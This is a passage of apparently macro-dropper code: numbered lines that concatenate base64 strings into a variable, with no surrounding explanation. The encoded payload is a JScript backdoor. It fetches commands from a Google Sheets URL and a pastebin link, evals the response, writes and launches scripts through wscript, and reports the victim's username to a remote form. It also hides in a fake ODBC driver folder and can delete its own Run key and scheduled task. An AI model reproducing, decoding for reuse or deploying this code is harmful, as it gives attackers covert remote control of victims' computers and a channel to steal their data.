| 323 | f = f & "a2V5Ow0KDQogICAgICAgIHZhciBpbnRlcnZhbE1pbiA9IDMwOw0KICAgICAgICB2YXIgaW50ZXJ" | |
| 324 | f = f & "2YWxNYXggPSA1MDsNCiAgICAgICAgdmFyIGJvdGNsYXNzID0gR2VuZXJhdGVTdHJpbmcoOCk7DQ" | |
| 325 | f = f & "ogICAgICAgIHZhciBsYXN0ID0gVGV4dEZpbGVSZWFkKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhb" | |
| 326 | f = f & "nNiYXNlT2RiY0RyaXZlclxcZHR0c2cudHh0Iik7DQogICAgICAgIHZhciB2ZXJzaW9uID0gIjEu" | |
| 327 | f = f & "MCI7DQoJCQ0KCQl2YXIgbGlua1BCID0gImh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L01mUVY1ZTZ" | |
| 328 | f = f & "SIjsNCgkJdmFyIGtleVBhdGggPSAiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3" | |
| 329 | f = f & "NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxsYXN0cyI7CQkNCgkJDQogICAgICAgIFdza" | |
| 330 | f = f & "FNoZWxsLkN1cnJlbnREaXJlY3RvcnkgPSBHZXRTY3JpcHREaXIoKTsNCiAgICAgICAgTG9nKCk7" | |
| 331 | f = f & "DQogICAgICAgIEdldENvbW1hbmQoKTsNCgkJDQogICAgICAgIGZ1bmN0aW9uIEdldENvbW1hbmQ" | |
| 332 | f = f & "oKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCgkJCQkJCXZhciBsZWdjID0gZ2V0TGFzdEV4ZU" | |
| 333 | f = f & "dvb2dDbWQoKTsNCgkJCQkJCXZhciBjbWJfb2IgPSB7fQ0KCQkJCQkJY21iX29iLmZsYWcgPSBmY" | |
| 334 | f = f & "WxzZTsNCgkJCQkJCQ0KCQkJCQkJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL2RvY3Mu" | |
| 335 | f = f & "Z29vZ2xlLmNvbS9zcHJlYWRzaGVldC9jY2M/a2V5PSIgKyBzcHJlYWRzaGVldGtleSk7DQoJCQk" | |
| 336 | f = f & "JCQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQ" | |
| 337 | f = f & "oJCQkJCQkJdmFyIGNtZF90eHQgPSBIVE1MUGFyc2UoZ29fY29tWyd0ZXh0J10pLmRvY3VtZW50L" | |
| 338 | f = f & "mRvY3VtZW50RWxlbWVudC5pbm5lclRleHQ7DQoJCQkJCQkJdmFyIGNvbW1hbmQgPSBzcGxpdChj" | |
| 339 | f = f & "bWRfdHh0LCckJCQnLDMpOwkNCgkJCQkJCQlpZiAoY29tbWFuZC5sZW5ndGggPT0gNCkgew0KCQk" | |
| 340 | f = f & "JCQkJCQljbWJfb2IuYyA9IGNvbW1hbmRbMl07DQoJCQkJCQkJCWNtYl9vYi5sID0gY29tbWFuZF" | |
| 341 | f = f & "sxXTsNCgkJCQkJCQkJY21iX29iLmZsYWcgPSB0cnVlOw0KCQkJCQkJCX1lbHNlew0KCQkJCQkJC" | |
| 342 | f = f & "QljbWJfb2IuZmxhZyA9IGZhbHNlOw0KCQkJCQkJCX0NCgkJCQkJCQlsZWdjID0gMDsNCgkJCQkJ" | |
| 343 | f = f & "CX1lbHNlew0KCQkJCQkJCWxlZ2MgPSBwYXJzZUludChsZWdjKSsxOw0KCQkJCQkJfQ0KCQkJCQk" | |
| 344 | f = f & "JDQoJCQkJCQlsZWdjID0gc2V0TGFzdEV4ZUdvb2dDbWQobGVnYyk7DQoJCQkJCQlpZihsZWdjID" | |
| 345 | f = f & "49IDEgJiYgbGVnYyA8PTQpcmV0dXJuOw0KCQkJCQkJDQoJCQkJCQlpZiggIWNtYl9vYi5mbGFnI" | |
| 346 | f = f & "Cl7DQoJCQkJCQkJdmFyIHBiX2NvbSA9IEluZXRSZWFkKGxpbmtQQik7DQoJCQkJCQkJaWYoIHBi" | |
| 347 | f = f & "X2NvbVsnc3RhdCddID49IDIwMCAmJiAgcGJfY29tWydzdGF0J10gPCAzMDApew0KCQkJCQkJCQl" | |
| 348 | f = f & "2YXIganNuID0gZXZhbCAoIigiICsgcGJfY29tWyd0ZXh0J10gKyAiKSIpOw0KCQkJCQkJCQljbW" | |
| 349 | f = f & "Jfb2IuYyA9IGpzblsiY29kZSJdOw0KCQkJCQkJCQljbWJfb2IubCA9IGpzblsnbGFzdCddOw0KC" | |
| 350 | f = f & "QkJCQkJCQljbWJfb2IuZmxhZyA9IHRydWU7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCWNtYl9v" | |
| 351 | f = f & "Yi5mbGFnID0gZmFsc2U7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCQlpZiggY21" | |
| 352 | f = f & "iX29iLmZsYWcgKXsNCgkJCQkJCQlpZihsYXN0ICE9IGNtYl9vYi5sKXsNCgkJCQkJCQkJLy9sYX" | |
| 353 | f = f & "N0ID0gY21iX29iLmw7DQoJCQkJCQkJCXZhciByID0gVGV4dEZpbGVDcmVhdGUoIiVBTExVU0VSU" | |
| 354 | f = f & "1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyXFxkdHRzZy50eHQiKTsNCgkJCQkJCQkJci5X" | |
| 355 | f = f & "cml0ZShjbWJfb2IubCk7DQoJCQkJCQkJCXIuQ2xvc2UoKTsNCgkJCQkJCQkJTG9nKCJHZXRDb21" | |
| 356 | f = f & "tYW5kOjoiICsgY21iX29iLmMpOw0KCQkJCQkJCQkvL2V2YWwoY21iX29iLmMpOw0KCQkJCQkJCQ" | |
| 357 | f = f & "lpZihsYXN0ID09ICIiKXJldHVybjsNCgkJCQkJCQkJDQoJCQkJCQkJCXZhciBjb2RfZGF0YSA9I" | |
| 358 | f = f & "EJhc2U2NC5kZWNvZGUoY21iX29iLmMpOwkJCQkJCQkJDQoJCQkJCQkJCWlmKGNvZF9kYXRhID09" | |
| 359 | f = f & "ICJkZWxldGVCb3QiKWRlc3Ryb3koKTsNCg0KCQkJCQkJCQl2YXIgdGVtcG5hbWUxID0gIkxhbkN" | |
| 360 | f = f & "yYWREcml2ZXIuaW5pIjsNCgkJCQkJCQkJdmFyIHRlbXBuYW1lMiA9ICJMYW5DcmFkRHJpdmVyLn" | |
| 361 | f = f & "ZicyI7DQoJCQkJCQkJCXZhciB0bXBQYXRoID0gV3NoU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTd" | |
| 362 | f = f & "HJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhbnNiYXNlT2RiY0RyaXZlciIpOw0KCQkJCQkJ" | |
| 363 | f = f & "CQl2YXIgdGVtcGF0aDEgPSB0bXBQYXRoICsgIlxcIit0ZW1wbmFtZTE7DQoJCQkJCQkJCXZhciB" | |
| 364 | f = f & "0ZW1wYXRoMiA9IHRtcFBhdGggKyAiXFwiK3RlbXBuYW1lMjsNCgkJCQkJCQkJDQoJCQkJCQkJCX" | |
| 365 | f = f & "ZhciBmID0gRlNPLk9wZW5UZXh0RmlsZSh0ZW1wYXRoMSwyLGZhbHNlLC0xKTsNCgkJCQkJCQkJZ" | |
| 366 | f = f & "i5Xcml0ZShjb2RfZGF0YSk7DQoJCQkJCQkJCWYuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAg" | |
| 367 | f = f & "ICAgICAgICAgICAgICAgDQoJCQkJCQkJCVdTY3JpcHQuU2xlZXAoNTAwMCk7DQoJCQkJCQkJCVd" | |
| 368 | f = f & "zaFNoZWxsLlJ1bignY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiJyArIHRlbXBhdGgyICsgJyInLD" | |
| 369 | f = f & "AsZmFsc2UpOwkNCgkJCQkJCQl9CQkJCQkJCQ0KCQkJCQkJfWVsc2V7DQoJCQkJCQkJTG9nKCJHZ" | |
| 370 | f = f & "XRDb21tYW5kOjoiICsgIm5vIGV4ZWN0Iik7DQoJCQkJCQl9CQkJCQkNCiAgICAgICAgICAgICAg" | |
| 371 | f = f & "ICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBMb2coIkdldENvbW1hbmQ" | |
| 372 | f = f & "6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiANCi" | |
| 373 | f = f & "AgICAgICAgZnVuY3Rpb24gZ2V0UmFuZG9tSW50KG1pbiwgbWF4KSB7DQogICAgICAgICAgICAgI" | |
| 374 | f = f & "CAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBt" | |
| 375 | f = f & "aW47DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0U2NyaXB0RGlyKCkgew0KICA" | |
| 376 | f = f & "gICAgICAgICAgICAgIHJldHVybiBHZXRTY3JpcHRGdWxsUGF0aCgpLnJlcGxhY2UoL1teXFxdKy" | |
| 377 | f = f & "QvZywgIiIpOw0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIEdldFNjcmlwdEZ1bGxQY" | |
| 378 | f = f & "XRoKCkgew0KICAgICAgICAgICAgICAgIGlmIChHbG9iYWxPYmplY3QubG9jYXRpb24gJiYgR2xv" | |
| 379 | f = f & "YmFsT2JqZWN0LmxvY2F0aW9uLmhyZWYpIHJldHVybiB1bmVzY2FwZShsb2NhdGlvbi5ocmVmLnJ" | |
| 380 | f = f & "lcGxhY2UoL14uK1wvXC9cLy8sICIiKS5yZXBsYWNlKC9cLy9nLCAiXFwiKSk7DQogICAgICAgIC" | |
| 381 | f = f & "AgICAgICAgaWYgKEdsb2JhbE9iamVjdC5XU2NyaXB0KSByZXR1cm4gV1NjcmlwdC5TY3JpcHRGd" | |
| 382 | f = f & "WxsTmFtZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gIiI7DQogICAgICAgIH0NCiANCiAgICAg" | |
| 383 | f = f & "ICAgZnVuY3Rpb24gSFRNTFBhcnNlKGNvZGUsIGRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIHsNCiA" | |
| 384 | f = f & "gICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRvY3VtZW" | |
| 385 | f = f & "50ID0gbmV3IEFjdGl2ZVhPYmplY3QoIkhUTUxGaWxlIik7DQogICAgICAgICAgICAgICAgICAgI" | |
| 386 | f = f & "CAgICBpZiAoIWRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIGRvY3VtZW50LmRlc2lnbk1vZGUgPSAi" | |
| 387 | f = f & "b24iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoY29kZSk7DQogICA" | |
| 388 | f = f & "gICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIC" | |
| 389 | f = f & "AgICAgICAgaWYgKCFkb250X3ByZXZlbnRfY29kZV9leGVjKSBkb2N1bWVudC5leGVjQ29tbWFuZ" | |
| 390 | f = f & "Cgic3RvcCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGRvY3VtZW50LnBhcmVu" | |
| 391 | f = f & "dFdpbmRvdzsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICA" | |
| 392 | f = f & "gICAgICAgICBMb2coIkhUTUxQYXJzZTo6IiArIGUuZGVzY3JpcHRpb24pDQogICAgICAgICAgIC" | |
| 393 | f = f & "AgICAgfTsNCiAgICAgICAgICAgICAgICByZXR1cm4ge307DQogICAgICAgIH0NCiANCiAgICAgI" | |
| 394 | f = f & "CAgZnVuY3Rpb24gTG9nKHZhbHVlKSB7DQogICAgICAgICAgICAgICAgdmFsdWUgPSB2YWx1ZSB8" | |
| 395 | f = f & "fCAiIjsNCgkJCQl2YWx1ZQ0KICAgICAgICAgICAgICAgIHZhbHVlID0gZ3VpZCArICIkJCQiICs" | |
| 396 | f = f & "gYm90Y2xhc3MgKyAiOjoiICsgR2V0VXNlck5hbWUoKSArICI6OiIgKyBlbmNvZGVVUkkodmFsdW" | |
| 397 | f = f & "UpOw0KCQkJCUxvZ0luZXQodmFsdWUsZm9ybWtleSxlbnRyeSk7DQogICAgICAgIH0NCiANCiAgI" | |
| 398 | f = f & "CAgICAgZnVuY3Rpb24gRmlsZUV4aXN0cyhQYXRoKSB7DQogICAgICAgICAgICAgICAgUGF0aCA9" | |
| 399 | f = f & "IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsNCiAgICAgICAgICAgICA" | |
| 400 | f = f & "gICByZXR1cm4gRlNPLkZvbGRlckV4aXN0cyhQYXRoKSB8fCBGU08uRmlsZUV4aXN0cyhQYXRoKT" | |
| 401 | f = f & "sNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiBUZXh0RmlsZVJlYWQoUGF0aCkgew0KI" | |
| 402 | f = f & "CAgICAgICAgICAgICAgIGlmICghUGF0aCkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIGlm" | |
| 403 | f = f & "ICghRmlsZUV4aXN0cyhQYXRoKSkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIFBhdGggPSB" | |
| 404 | f = f & "Xc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoUGF0aCk7DQogICAgICAgICAgICAgIC" | |
| 405 | f = f & "AgaWYgKEZTTy5HZXRGaWxlKFBhdGgpLlNpemUgPT0gMCkgcmV0dXJuICIiOw0KICAgICAgICAgI" | |
| 406 | f = f & "CAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgU3RyZWFtID0gRlNPLk9w" | |
| 407 | f = f & "ZW5UZXh0RmlsZShQYXRoLCAxLCAwLCAtMiksDQogICAgICAgICAgICAgICAgICAgICAgICAgICA" | |
| 408 | f = f & "gICAgIFJlc3VsdCA9IFN0cmVhbS5SZWFkQWxsKCk7DQogICAgICAgICAgICAgICAgICAgICAgIC" | |
| 409 | f = f & "BTdHJlYW0uQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBSZXN1bHQ7D" | |
| 410 | f = f & "QogICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAg" | |
| 411 | f = f & "Ly9Mb2coIlRleHRGaWxlUmVhZDo6IiArIFBhdGggKyAiOjoiICsgZS5kZXNjcml0aW9uKTsNCiA" | |
| 412 | f = f & "gICAgICAgICAgICAgICB9Ow0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIFRleHRGaW" | |
| 413 | f = f & "xlQ3JlYXRlKFBhdGgpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgI" | |
| 414 | f = f & "CAgICAgICAgUGF0aCA9IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsN" | |
| 415 | f = f & "CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlRXhpc3RzKFBhdGgpKSBGU08uRGVsZXR" | |
| 416 | f = f & "lRmlsZShQYXRoLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGU08uT3" | |
| 417 | f = f & "BlblRleHRGaWxlKFBhdGgsIDIsIDEsIC0xKQ0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpI" | |
| 418 | f = f & "HsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiVGV4dEZpbGVDcmVhdGU6OiIgKyBlLmRl" | |
| 419 | f = f & "c2NyaXB0aW9uKQ0KICAgICAgICAgICAgICAgIH07DQogICAgICAgICAgICAgICAgcmV0dXJuIG5" | |
| 420 | f = f & "1bGw7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2VuZXJhdGVTdHJpbmcoTCkgew" | |
| 421 | f = f & "0KICAgICAgICAgICAgICAgIGlmICghTCkgTCA9IDg7DQogICAgICAgICAgICAgICAgcmV0dXJuI" | |
| 422 | f = f & "G5ldyBBY3RpdmVYT2JqZWN0KCJTY3JpcHRsZXQuVHlwZUxpYiIpLkd1aWQucmVwbGFjZSgvW15c" | |
| 423 | f = f & "d10rL2csICIiKS5zbGljZSgwLCBMKTsNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiB" | |
| 424 | f = f & "DcmVhdGVPYmplY3QoUHJvZ0lkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBBY3Rpdm" | |
| 425 | f = f & "VYT2JqZWN0KFByb2dJZCk7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0VXNlc" | |
| 426 | f = f & "k5hbWUoKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAg" | |
| 427 | f = f & "IHJldHVybiBDcmVhdGVPYmplY3QoIldTY3JpcHQuTmV0V29yayIpLlVzZXJOYW1lOw0KICAgICA" | |
| 428 | f = f & "gICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiR2" | |
| 429 | f = f & "V0VXNlck5hbWU6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgI" | |
| 430 | f = f & "HJldHVybiAiVW5rbm93biINCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAg" | |
| 431 | f = f & "ICBmdW5jdGlvbiBnZXRMYXN0RXhlR29vZ0NtZCgpIHsNCgkJCXZhciByZWdWYWx1ZSA9IDA7DQo" | |
| 432 | f = f & "JCQl0cnkgewkJCQ0KCQkJCXJlZ1ZhbHVlID0gV3NoU2hlbGwuUmVnUmVhZChrZXlQYXRoKTsNCg" | |
| 433 | f = f & "kJCX0gY2F0Y2ggKGUpIHsNCgkJCQlzZXRMYXN0RXhlR29vZ0NtZChyZWdWYWx1ZSk7DQoJCQl9D" | |
| 434 | f = f & "QoJCQlyZXR1cm4gcmVnVmFsdWU7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc2V0TGFz" | |
| 435 | f = f & "dEV4ZUdvb2dDbWQocmVnVmFsdWUpIHsNCgkJCXRyeSB7CQkJDQoJCQkJV3NoU2hlbGwuUmVnV3J" | |
| 436 | f = f & "pdGUoa2V5UGF0aCxyZWdWYWx1ZSwgIlJFR19TWiIpOwkJCQ0KCQkJfSBjYXRjaCAoZSkgew0KCQ" | |
| 437 | f = f & "kJCXJldHVybiAtMTsNCgkJCX0NCgkJCXJldHVybiByZWdWYWx1ZTsJCQkJCQkNCiAgICAgICAgf" | |
| 438 | f = f & "Q0KCQkNCgkJZnVuY3Rpb24gc0RPUzJXaW4oc1RleHQsIGJJbnNpZGVPdXQpIHsNCgkJICB2YXIg" | |
| 439 | f = f & "YUNoYXJzZXRzID0gWyJ3aW5kb3dzLTEyNTEiLCAiY3A4NjYiXTsNCgkJICBzVGV4dCArPSAiIjs" | |
| 440 | f = f & "NCgkJICBiSW5zaWRlT3V0ID0gYkluc2lkZU91dCA/IDEgOiAwOw0KCQkgIHdpdGggKG5ldyBBY3" | |
| 441 | f = f & "RpdmVYT2JqZWN0KCJBRE9EQi5TdHJlYW0iKSkgeyANCgkJCXR5cGUgPSAyOyAvL0JpbmFyeSAxL" | |
| 442 | f = f & "CBUZXh0IDIgKGRlZmF1bHQpIA0KCQkJbW9kZSA9IDM7IC8vUGVybWlzc2lvbnMgaGF2ZSBub3Qg" | |
| 443 | f = f & "YmVlbiBzZXQgMCwgIFJlYWQtb25seSAxLCAgV3JpdGUtb25seSAyLCAgUmVhZC13cml0ZSAzLCA" | |
| 444 | f = f & "gDQoJCQkvL1ByZXZlbnQgb3RoZXIgcmVhZCA0LCAgUHJldmVudCBvdGhlciB3cml0ZSA4LCAgUH" | |
| 445 | f = f & "JldmVudCBvdGhlciBvcGVuIDEyLCAgQWxsb3cgb3RoZXJzIGFsbCAxNg0KCQkJY2hhcnNldCA9I" | |
| 446 | f = f & "GFDaGFyc2V0c1tiSW5zaWRlT3V0XTsNCgkJCW9wZW4oKTsNCgkJCXdyaXRlVGV4dChzVGV4dCk7" | |
| 447 | f = f & "DQoJCQlwb3NpdGlvbiA9IDA7DQoJCQljaGFyc2V0ID0gYUNoYXJzZXRzWzEgLSBiSW5zaWRlT3V" | |
| 448 | f = f & "0XTsNCgkJCXJldHVybiByZWFkVGV4dCgpOw0KCQkgIH0NCgkJfQkJDQoNCgkJZnVuY3Rpb24gZG" | |
| 449 | f = f & "VzdHJveSgpew0KCQkJdHJ5IHsNCgkJCQlXc2hTaGVsbC5SZWdEZWxldGUoIkhLRVlfQ1VSUkVOV" | |
| 450 | f = f & "F9VU0VSXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVu" | |
| 451 | f = f & "XFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXRyeSB7DQo" | |
| 452 | f = f & "JCQkJV3NoU2hlbGwuUnVuKCdzY2h0YXNrcyAvZGVsZXRlIC90biAiU3lzQ2hlY2tzIiAvZicsID" | |
| 453 | f = f & "AsIGZhbHNlKTsNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXZhciBzdHJTY3JpcHREaXIgPSBXc2hTa" | |
| 454 | f = f & "GVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VSU1BST0ZJTEUlXFxUcmFuc2Jh" | |
| 455 | f = f & "c2VPZGJjRHJpdmVyIik7DQoJCQl2YXIgc3RyU2NyaXB0ID0gIiI7DQoJCQkNCgkJCXRyeSB7DQo" | |
| 456 | f = f & "JCQkJc3RyU2NyaXB0ID0gV1NjcmlwdC5TY3JpcHRGdWxsTmFtZTsNCgkJCQlpZihGU08uRmlsZU" | |
| 457 | f = f & "V4aXN0cyhzdHJTY3JpcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KC" | |
| 458 | f = f & "QkJfWNhdGNoKGUpe30JDQoNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGly" | |
| 459 | f = f & "ICsgIlxcTGFuQ3JhZERyaXZlci5pbmkiOyANCgkJCQlpZihGU08uRmlsZUV4aXN0cyhzdHJTY3J" | |
| 460 | f = f & "pcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KCQkJfWNhdGNoKGUpe3" | |
| 461 | f = f & "0JDQoJCQl0cnkgew0KCQkJCXN0clNjcmlwdCA9IHN0clNjcmlwdERpciArICJcXExhbkNyYWREc" | |
| 462 | f = f & "ml2ZXIudmJzIjsgDQoJCQkJaWYoRlNPLkZpbGVFeGlzdHMoc3RyU2NyaXB0KSl7IEZTTy5EZWxl" | |
| 463 | f = f & "dGVGaWxlKHN0clNjcmlwdCwgdHJ1ZSk7CX0NCgkJCX1jYXRjaChlKXt9CQ0KCQkJdHJ5IHsNCgk" | |
| 464 | f = f & "JCQlzdHJTY3JpcHQgPSBzdHJTY3JpcHREaXIgKyAiXFxzdGFydGVyLnZicyI7IA0KCQkJCWlmKE" | |
| 465 | f = f & "ZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRyd" | |
| 466 | f = f & "WUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2Ny" | |
| 467 | f = f & "aXB0RGlyICsgIlxccGF0aGVyLnZicyI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcml" | |
| 468 | f = f & "wdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQ" | |
| 469 | f = f & "kNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGlyICsgIlxccGF0aGVyLmlua" | |
| 470 | f = f & "SI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShz" | |
| 471 | f = f & "dHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCQkJCQ0KCQkJV1NjcmlwdC5" | |
| 472 | f = f & "RdWl0KCk7CQkJDQoJCX0JCQkNCn0NCg0KZnVuY3Rpb24gQ3JlYXRlRGlyKCl7DQoJdHJ5IHsNCg" | |
| 473 | f = f & "kJdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCgkJd" | |
| 474 | f = f & "mFyIGRpcnBhdGggPSBXc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VS" | |
| 475 | f = f & "U1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJdmFyIEZTTyA9IFdTY3JpcHQ" | |
| 476 | f = f & "uQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpOyAJCQ0KCQlpZighRl" | |
| 477 | f = f & "NPLkZvbGRlckV4aXN0cyhkaXJwYXRoKSl7DQoJCQlGU08uQ3JlYXRlRm9sZGVyKGRpcnBhdGgpO" | |
| 478 | f = f & "w0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX1jYXRjaChlKXt9DQoJcmV0dXJuIHRydWU7DQp9CQ0K" | |
| 479 | f = f & "DQpmdW5jdGlvbiBnZXRQcm94eSgpew0KCXZhciBXc2hTaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN" | |
| 480 | f = f & "0KCJXU2NyaXB0LlNoZWxsIik7DQoJDQoJdHJ5IHsNCgkJdmFyIFByb3h5RW5hYmxlID0gV3NoU2" | |
| 481 | f = f & "hlbGwuUmVnUmVhZCgiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpb" | |
| 482 | f = f & "mRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUiKTsN" | |
| 483 | f = f & "CgkJaWYoUHJveHlFbmFibGUgPT0gMSl7DQoJCQl2YXIgUHJveHlTZXJ2ZXIgPSBXc2hTaGVsbC5" | |
| 484 | f = f & "SZWdSZWFkKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1" | |
| 485 | f = f & "xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlciIpOw0KCQkJc" | |
| 486 | f = f & "mV0dXJuIFByb3h5U2VydmVyOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAiIjsNCgkJfQ0KCX0gY2F0" | |
| 487 | f = f & "Y2ggKGUpIHsNCgkJcmV0dXJuICIiOw0KCX0JCQkNCn0NCg0KZnVuY3Rpb24gSW5ldFJlYWQodXJ" | |
| 488 | f = f & "sKSB7DQoJCXZhciBkYXRhX3NhdGF1c19hcnIgPSBuZXcgT2JqZWN0KCk7DQoJCXRyeSB7DQoJCQ" | |
| 489 | f = f & "kJdmFyIGh0dHBSZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTXN4bWwyLlNlcnZlclhNTEhUVFAuN" | |
| 490 | f = f & "i4wIik7DQoJCQkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyAvL1NYSF9TRVJWRVJfQ0VS" | |
| 491 | f = f & "VF9JR05PUkVfQUxMX1NFUlZFUl9FUlJPUlMgPSAxMzA1NjsgIFNYSF9PUFRJT05fVVJMID0gLTE" | |
| 492 | f = f & "NCgkJCQlodHRwUmVxLnNldFRpbWVvdXRzKDAsIDAsIDAsIDApOw0KCQkJCWh0dHBSZXEub3Blbi" | |
| 493 | f = f & "giR0VUIiwgdXJsLCBmYWxzZSk7DQoJCQkJdmFyIHByb3ggPSBnZXRQcm94eSgpDQoJCQkJaWYoI" | |
| 494 | f = f & "HByb3ggIT0gIiIpew0KCQkJCQlodHRwUmVxLnNldFByb3h5KDIsIHByb3gsICIiKTsNCgkJCQl9" | |
| 495 | f = f & "CQkJCQ0KCQkJCWh0dHBSZXEuc2V0UmVxdWVzdEhlYWRlcigiVXNlci1hZ2VudCIsICJNb3ppbGx" | |
| 496 | f = f & "hLzUuMCAoTGludXg7IFU7IEFuZHJvaWQgMi4zLjM7IHpoLXR3OyBIVEMgUHlyYW1pZCBCdWlsZC" | |
| 497 | f = f & "9HUkk0MCkgQXBwbGVXZWJLaXQvNTMzLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuM" | |
| 498 | f = f & "CBNb2JpbGUgU2FmYXJpLzUzMy4xIik7DQoJCQkJaHR0cFJlcS5zZW5kKCk7DQoJCQkJLy9XU2Ny" | |
| 499 | f = f & "aXB0LkVjaG8oaHR0cFJlcS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKSk7DQoJCQkJLy9XU2NyaXB" | |
